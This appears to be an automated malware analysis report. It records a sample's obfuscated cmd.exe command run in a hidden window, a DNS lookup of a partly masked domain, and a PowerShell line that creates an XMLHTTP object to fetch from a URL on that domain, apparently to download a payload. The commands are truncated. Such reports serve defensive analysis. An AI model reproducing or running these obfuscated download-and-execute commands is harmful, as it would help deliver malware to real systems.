Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c %LocALaPpDAta:~ -3, -2%^M%SYStemroOt:~ 6, 1%, ,/v^ , , /R ",( , ,, (^SeT 5^08=GV ^0U 6H Ri z^j O8 ^H^4^ ^3K ^2P^ jn ^Qs ^wp bT^ ^zv pW Su^ ^zO 8s^}Fi}n^A{qmhR7cGctH^gaXPc9z^}dak...
Network activity
UDP
- DNS ASK lo###totic.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c %LocALaPpDAta:~ -3, -2%^M%SYStemroOt:~ 6, 1%, ,/v^ , , /R ",( , ,, (^SeT 5^08=GV ^0U 6H Ri z^j O8 ^H^4^ ^3K ^2P^ jn ^Qs ^wp bT^ ^zv pW Su^ ^zO 8s^}Fi}n^A{qmhR7cGctH^gaXPc9z^}dak...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' , ,/v , , /R ",( , ,, (^SeT 5^08=GV ^0U 6H Ri z^j O8 ^H^4^ ^3K ^2P^ jn ^Qs ^wp bT^ ^zv pW Su^ ^zO 8s^}Fi}n^A{qmhR7cGctH^gaXPc9z^}dak^Zt^an^telrr^3Gb^Ee;^wOUQHl7BHc2$zl qis gs^A^eel^Kc...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $izG='ciJ';$kWj='http://lo###totic.com/YER/pelim.php?l=############################################################################ =New-Object -com 'msxml2.xmlhttp';$WGO = New-Object -com 'ado...
